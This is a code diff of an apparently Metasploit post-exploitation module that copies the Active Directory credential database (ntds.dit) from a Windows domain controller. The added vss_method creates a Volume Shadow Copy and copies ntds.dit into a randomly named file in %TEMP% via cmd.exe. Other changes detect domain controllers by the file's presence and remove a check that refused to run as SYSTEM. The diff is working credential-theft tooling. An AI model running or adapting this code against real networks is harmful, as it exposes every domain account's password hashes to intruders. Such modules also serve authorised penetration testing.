@@ -46,24 +46,23 @@ def run
46
46
47
47
def copy_database_file
48
48
database_file_path = nil
49
- case sysinfo [ "OS" ]
50
- when /2003/
51
- database_file_path = vss_method
52
- when /2008|2012/
53
- database_file_path = ntdsutil_method
54
- else
55
- print_error "This version of Windows in unsupported"
49
+ if start_vss
50
+ case sysinfo [ "OS" ]
51
+ when /2003| \. NET/
52
+ database_file_path = vss_method
53
+ when /2008|2012/
54
+ database_file_path = ntdsutil_method
55
+ else
56
+ print_error "This version of Windows is unsupported"
57
+ end
56
58
end
57
59
database_file_path
58
60
end
59
61
60
62
def is_domain_controller?
61
63
status = false
62
- service_list . each do |svc |
63
- if svc [ :name ] == 'NTDS'
64
- status = true
65
- break
66
- end
64
+ if session . fs . file . exists? ( '%SystemDrive%\Windows\ntds\ntds.dit' )
65
+ status = true
67
66
end
68
67
status
69
68
end
@@ -77,6 +76,7 @@ def ntdsutil_method
77
76
print_status "NTDS database copied to #{ file_path } "
78
77
else
79
78
print_error "There was an error copying the ntds.dit file!"
79
+ vprint_error result
80
80
file_path = nil
81
81
end
82
82
file_path
@@ -97,10 +97,6 @@ def preconditions_met?
97
97
print_error "This module requires UAC to be bypassed first"
98
98
status = false
99
99
end
100
- if is_system?
101
- print_error "Volume Shadow Copy will not work properly as SYSTEM, migrate to a real user"
102
- status = false
103
- end
104
100
return status
105
101
end
106
102
@@ -110,7 +106,17 @@ def repair_ntds(path='')
110
106
end
111
107
112
108
def vss_method
113
-
109
+ id = create_shadowcopy ( "#{ expand_path ( "%SystemDrive%" ) } \\ " )
110
+ sc_details = get_sc_details ( id )
111
+ sc_path = "#{ sc_details [ 'DeviceObject' ] } \\ windows\\ ntds\\ ntds.dit"
112
+ target_path = "#{ expand_path ( "%TEMP%" ) } \\ #{ Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) } "
113
+ copy_command = "/c copy #{ sc_path } #{ target_path } "
114
+ result = cmd_exec ( 'cmd.exe' , copy_command )
115
+ if result =~ /1 file\( s\) copied/
116
+ return target_path
117
+ else
118
+ return nil
119
+ end
114
120
end
115
121
116
122
end
0 commit comments